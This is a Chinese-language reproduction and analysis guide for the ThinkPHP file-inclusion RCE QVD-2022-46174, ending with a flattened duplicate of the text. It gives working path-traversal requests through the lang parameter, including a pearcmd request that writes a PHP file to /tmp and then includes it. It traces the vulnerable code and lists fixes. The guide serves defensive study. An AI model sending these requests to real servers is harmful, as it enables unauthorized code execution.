ThinkPHP 最新rce(QVD-2022-46174)复现和分析
字数 1010 2025-08-26 22:11:57

ThinkPHP RCE漏洞(QVD-2022-46174)分析与复现指南

漏洞概述

QVD-2022-46174是ThinkPHP框架中存在的一个远程代码执行漏洞,影响开启多语言模式的ThinkPHP应用。该漏洞源于语言包加载过程中的文件包含缺陷,允许攻击者通过精心构造的请求实现任意代码执行。

漏洞影响

  • 受影响版本:主要影响ThinkPHP 5.x系列
  • 利用条件:需要目标系统开启多语言模式

漏洞复现

环境准备

  1. 搭建基于ThinkPHP 5.x的Web应用
  2. 确保应用已开启多语言模式

利用方式一:直接文件包含

GET /index.php?lang=../../../../../../www/server/php/72/lib/php/hello.php HTTP/1.1
Host: target.com

其中/www/server/php/72/lib/php/hello.php为服务器上已知的PHP文件路径(如phpinfo文件)

利用方式二:通过pearcmd创建文件再包含

前提条件

  • PHP安装了pearcmd
  • 开启了register_argc_argv选项

步骤1:创建文件

GET /index.php?lang=../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: target.com

步骤2:包含创建的文件

GET /index.php?lang=../../../../../../tmp/hello.php HTTP/1.1
Host: target.com

漏洞分析

漏洞触发流程

  1. 应用初始化时调用/thinkphp/library/think/app.php中的initialize()函数
  2. initialize()调用$this->loadLangPack()加载语言包
  3. loadLangPack()调用$this->lang->detect()检测语言设置

关键代码分析

语言检测函数 (/thinkphp/library/think/lang.php中的detect()):

public function detect()
{
    // 从URL、Cookie或浏览器获取语言设置
    $langSet = $this->request->get('lang') ?: $this->request->cookie('think_var');
    // ...
    return $langSet;
}

语言包加载函数 (loadLangPack()):

public function loadLangPack()
{
    // ...
    $this->request->setLangset($this->lang->range());
    $this->lang->load(/* 构造的文件路径 */);
    // ...
}

文件包含点 (/thinkphp/library/think/lang.php中的load()):

public function load($file)
{
    // 直接包含传入的文件路径,无任何过滤
    include $file;
    // ...
}

修复方案

  1. 官方修复:执行composer update topthink/framework更新框架版本

    • 修复后的版本会严格判断lang参数的合法性
  2. 临时缓解措施

    • 关闭多语言功能
    • 在应用层对lang参数进行严格过滤
    • 禁用register_argc_argv选项(防止pearcmd利用)

总结

QVD-2022-46174漏洞利用ThinkPHP多语言功能中的文件包含缺陷,通过精心构造的lang参数实现任意文件包含,最终导致远程代码执行。该漏洞的利用条件相对宽松,危害性较高,建议所有使用ThinkPHP框架的开发人员及时更新到安全版本。

ThinkPHP RCE漏洞(QVD-2022-46174)分析与复现指南 漏洞概述 QVD-2022-46174是ThinkPHP框架中存在的一个远程代码执行漏洞,影响开启多语言模式的ThinkPHP应用。该漏洞源于语言包加载过程中的文件包含缺陷,允许攻击者通过精心构造的请求实现任意代码执行。 漏洞影响 受影响版本 :主要影响ThinkPHP 5.x系列 利用条件 :需要目标系统开启多语言模式 漏洞复现 环境准备 搭建基于ThinkPHP 5.x的Web应用 确保应用已开启多语言模式 利用方式一:直接文件包含 其中 /www/server/php/72/lib/php/hello.php 为服务器上已知的PHP文件路径(如phpinfo文件) 利用方式二:通过pearcmd创建文件再包含 前提条件 : PHP安装了pearcmd 开启了register_ argc_ argv选项 步骤1 :创建文件 步骤2 :包含创建的文件 漏洞分析 漏洞触发流程 应用初始化时调用 /thinkphp/library/think/app.php 中的 initialize() 函数 initialize() 调用 $this->loadLangPack() 加载语言包 loadLangPack() 调用 $this->lang->detect() 检测语言设置 关键代码分析 语言检测函数 ( /thinkphp/library/think/lang.php 中的 detect() ): 语言包加载函数 ( loadLangPack() ): 文件包含点 ( /thinkphp/library/think/lang.php 中的 load() ): 修复方案 官方修复 :执行 composer update topthink/framework 更新框架版本 修复后的版本会严格判断lang参数的合法性 临时缓解措施 : 关闭多语言功能 在应用层对lang参数进行严格过滤 禁用register_ argc_ argv选项(防止pearcmd利用) 总结 QVD-2022-46174漏洞利用ThinkPHP多语言功能中的文件包含缺陷,通过精心构造的lang参数实现任意文件包含,最终导致远程代码执行。该漏洞的利用条件相对宽松,危害性较高,建议所有使用ThinkPHP框架的开发人员及时更新到安全版本。